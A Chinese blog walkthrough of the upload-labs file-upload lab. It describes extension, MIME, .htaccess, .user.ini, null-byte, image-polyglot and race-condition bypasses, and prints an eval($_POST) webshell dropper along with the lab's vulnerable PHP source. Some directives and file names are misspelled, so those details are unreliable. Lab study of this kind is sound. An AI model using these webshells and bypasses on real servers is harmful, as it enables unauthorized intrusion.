当前位置:   article > 正文

初见upload-labs(文件上传漏洞)_one.php.jpg

one.php.jpg

upload-labs靶场搭建

下载靶场,解压到根目录中

 打开即可

pass1(js)

 传文件

传了,被过滤了,但发现没有抓到包,所以推测是在本地进行的检验 (前端)

包装一下

打开拦截 

submit抓到包了

 改包删去jpg

发包,上传成功

 

获取文件url 

打开蚁剑

 

成功

 pass2(connect-type)

老规矩,传一句话木马,抓包

抓到了,那就发包

 

后端验证,那发个正常照片看看 

抓到了,发包通过 

 获取connect-type

传木马,改包

 上传,没报错

连蚁剑试试

 

pass3 (黑名单)

先试试水

forword

 黑白名单,查看源码为黑名单 限制了如上后缀以及空格,大小写,字符等操作,但没有限制hph3,php5,phpml

传文件改php3

 

 传了,但没有被解析php,被当成文本了

靶场问题,一般使用得看运气,这里改一下配置文件

 加上 AddType application/x-httpd-php .php .php3 .php5 .phpml(先搜有没有#AddType application/x-httpd-php .php)确认没有后

还是不行 

哈哈哈,寄(只有ts版本可以使用该漏洞)实战不用配置靶场应该就行了 

pass4(htaccess)

 和上次一样所以直接看源码,啥都禁就是没禁htaccesss

利用其特性

 让jpg和txt以php文件解析,再传木马

我谢谢你小皮 ,这锅我不背

pass5 (.ini)

看题

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

 没有过滤.ini

准备一句话木马one.php

改后缀为.jpg

编写.user.ini内容如下

auto_prepared_file=one.jpg

分别上传,后台发现成功

访问readme,打开蚁剑

 连接

pass6 (大小写绕过)

 没有改大小写,无法区分(大小写转换代码如下)

  $file_ext = strtolower($file_ext);#转小写

上传一句话木马

抓包随便改个大小写

但是我在进行解析时缺无法正常解析,弹出500服务器错误

特别注意,我的环境apache 2.4.39的时候连接失败,Response报文状态码500,用nginx 1.15.11是可以成功的 

发包,连接蚁剑

pass7 (空格绕过)

看源码

都有,但少了句去空(内容如下) 

$file_ext = trim($file_ext);

发包即可

注:环境测试需使用低版本5.0,使用7.0版本会提示上传出错 

php全责

pass8(.绕过)

看源码

少这句

$file_name = deldot($file_name);//删除文件名末尾的点

改包

老样子

pass9(额外数据流绕过)

 改包发包

暴400

访问(去后缀)

 成功

连蚁剑

pass10 (. .绕过)

连蚁剑老样子

pass11(双写绕过)

改包

传入成功

连蚁剑 

pass12(空字符)

两种格式

  1. 0x00 #编程语言中
  2. %00 #url中

当计算机读取到以上代码时结束(从左到右)

eg:123 0x00 456

等效于 123

审计代码,白名单过滤

$ext_arr = array('jpg','png','gif');

再审 

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

 获取“.”后的所有字段

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

拼接 

传一句话木马的jpg格式

改post让拼接作废 

 提示:

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

Magic_quotes_gpc=Off

不然

后面就是接蚁剑等常规操作

还可以

正常上传one.jpg获取url

打开hackerbar

 进入界面

上传即可

 pass13(空字符2)

同12,抓包得

改包

 注意

转16进制

发包连接蚁剑 

pass14-16(图片码)

了解

准备照片和一句话木马融合 

 

 上传成功

打开漏洞文件

访问

连接蚁剑

pass17(二次渲染绕过)

审计代码 

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])){
  4. // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  5. $filename = $_FILES['upload_file']['name'];
  6. $filetype = $_FILES['upload_file']['type'];
  7. $tmpname = $_FILES['upload_file']['tmp_name'];
  8. $target_path=UPLOAD_PATH.'/'.basename($filename);
  9. // 获得上传文件的扩展名
  10. $fileext= substr(strrchr($filename,"."),1);
  11. //判断文件后缀与类型,合法才进行上传操作
  12. if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  13. if(move_uploaded_file($tmpname,$target_path)){
  14. //使用上传的图片生成新的图片
  15. $im = imagecreatefromjpeg($target_path);
  16. if($im == false){
  17. $msg = "该文件不是jpg格式的图片!";
  18. @unlink($target_path);
  19. }else{
  20. //给新图片指定文件名
  21. srand(time());
  22. $newfilename = strval(rand()).".jpg";
  23. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  24. $img_path = UPLOAD_PATH.'/'.$newfilename;
  25. imagejpeg($im,$img_path);
  26. @unlink($target_path);
  27. $is_upload = true;
  28. }
  29. } else {
  30. $msg = "上传出错!";
  31. }
  32. }else if(($fileext == "png") && ($filetype=="image/png")){
  33. if(move_uploaded_file($tmpname,$target_path)){
  34. //使用上传的图片生成新的图片
  35. $im = imagecreatefrompng($target_path);
  36. if($im == false){
  37. $msg = "该文件不是png格式的图片!";
  38. @unlink($target_path);
  39. }else{
  40. //给新图片指定文件名
  41. srand(time());
  42. $newfilename = strval(rand()).".png";
  43. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  44. $img_path = UPLOAD_PATH.'/'.$newfilename;
  45. imagepng($im,$img_path);
  46. @unlink($target_path);
  47. $is_upload = true;
  48. }
  49. } else {
  50. $msg = "上传出错!";
  51. }
  52. }else if(($fileext == "gif") && ($filetype=="image/gif")){
  53. if(move_uploaded_file($tmpname,$target_path)){
  54. //使用上传的图片生成新的图片
  55. $im = imagecreatefromgif($target_path);
  56. if($im == false){
  57. $msg = "该文件不是gif格式的图片!";
  58. @unlink($target_path);
  59. }else{
  60. //给新图片指定文件名
  61. srand(time());
  62. $newfilename = strval(rand()).".gif";
  63. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  64. $img_path = UPLOAD_PATH.'/'.$newfilename;
  65. imagegif($im,$img_path);
  66. @unlink($target_path);
  67. $is_upload = true;
  68. }
  69. } else {
  70. $msg = "上传出错!";
  71. }
  72. }else{
  73. $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
  74. }
  75. }

二次渲染会使图片码中插入的代码变为乱码,但并不是全部二次渲染,会存在渲染后相同的片段

将一句话木马插入不变区即可保证二次渲染后木马的保留

传图,并下载图片

比较原图与下载图的内容找到相同区域插入一句话木马后同pass14-16 

pass18(条件竞争)

写一个大马

<?php fputs(fopen('shell.php', 'w'),'<?php@eval($_POST['value']);?>');?>

判断是否有shall.php

若没有写一个内容为小马的shall.php 

审计代码

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4. $ext_arr = array('jpg','png','gif');
  5. $file_name = $_FILES['upload_file']['name'];
  6. $temp_file = $_FILES['upload_file']['tmp_name'];
  7. $file_ext = substr($file_name,strrpos($file_name,".")+1);
  8. $upload_file = UPLOAD_PATH . '/' . $file_name;
  9. if(move_uploaded_file($temp_file, $upload_file)){
  10. if(in_array($file_ext,$ext_arr)){
  11. $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  12. rename($upload_file, $img_path);
  13. $is_upload = true;
  14. }else{
  15. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  16. unlink($upload_file);
  17. }
  18. }else{
  19. $msg = '上传出错!';
  20. }
  21. }

发现文件上传后由服务器判断文件是否合理,不合理便删去

如果在删去前访问便会使其保留

上传抓包

传攻击模块

点击clear,payload选null(持续攻击)

开始攻击

访问并抓包

传攻击器相同操作

同时开始攻击

等待奇迹发生(看运气,现在是凌晨3点老子等不了一点)

电脑太好一直连不上

要是连上了直接蚁剑练shell.php就行

pass19(apache漏洞+条件竞争)

代码审计

  1. //index.php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit']))
  5. {
  6. require_once("./myupload.php");
  7. $imgFileName =time();
  8. $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  9. $status_code = $u->upload(UPLOAD_PATH);
  10. switch ($status_code) {
  11. case 1:
  12. $is_upload = true;
  13. $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  14. break;
  15. case 2:
  16. $msg = '文件已经被上传,但没有重命名。';
  17. break;
  18. case -1:
  19. $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  20. break;
  21. case -2:
  22. $msg = '上传失败,上传目录不可写。';
  23. break;
  24. case -3:
  25. $msg = '上传失败,无法上传该类型文件。';
  26. break;
  27. case -4:
  28. $msg = '上传失败,上传的文件过大。';
  29. break;
  30. case -5:
  31. $msg = '上传失败,服务器已经存在相同名称文件。';
  32. break;
  33. case -6:
  34. $msg = '文件无法上传,文件不能复制到目标目录。';
  35. break;
  36. default:
  37. $msg = '未知错误!';
  38. break;
  39. }
  40. }
  41. //myupload.php
  42. class MyUpload{
  43. ......
  44. ......
  45. ......
  46. var $cls_arr_ext_accepted = array(
  47. ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  48. ".html", ".xml", ".tiff", ".jpeg", ".png" );
  49. ......
  50. ......
  51. ......
  52. /** upload()
  53. **
  54. ** Method to upload the file.
  55. ** This is the only method to call outside the class.
  56. ** @para String name of directory we upload to
  57. ** @returns void
  58. **/
  59. function upload( $dir ){
  60. $ret = $this->isUploadedFile();
  61. if( $ret != 1 ){
  62. return $this->resultUpload( $ret );
  63. }
  64. $ret = $this->setDir( $dir );
  65. if( $ret != 1 ){
  66. return $this->resultUpload( $ret );
  67. }
  68. $ret = $this->checkExtension();
  69. if( $ret != 1 ){
  70. return $this->resultUpload( $ret );
  71. }
  72. $ret = $this->checkSize();
  73. if( $ret != 1 ){
  74. return $this->resultUpload( $ret );
  75. }
  76. // if flag to check if the file exists is set to 1
  77. if( $this->cls_file_exists == 1 ){
  78. $ret = $this->checkFileExists();
  79. if( $ret != 1 ){
  80. return $this->resultUpload( $ret );
  81. }
  82. }
  83. // if we are here, we are ready to move the file to destination
  84. $ret = $this->move();
  85. if( $ret != 1 ){
  86. return $this->resultUpload( $ret );
  87. }
  88. // check if we need to rename the file
  89. if( $this->cls_rename_file == 1 ){
  90. $ret = $this->renameFile();
  91. if( $ret != 1 ){
  92. return $this->resultUpload( $ret );
  93. }
  94. }
  95. // if we are here, everything worked as planned :)
  96. return $this->resultUpload( "SUCCESS" );
  97. }
  98. ......
  99. ......
  100. ......
  101. };

发现传php文件在到服务器前会被删去永远无法同pass18一样访问shell.php

但是由于是apache

我们可以把大马包一层.7z使其可以传到服务器

但是服务器无法识别.7z

他就往前读取,读到.php使文件以php格式打开

于是传

重复pass18操作即可

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/木道寻08/article/detail/848545
推荐阅读
相关标签
  

闽ICP备14008679号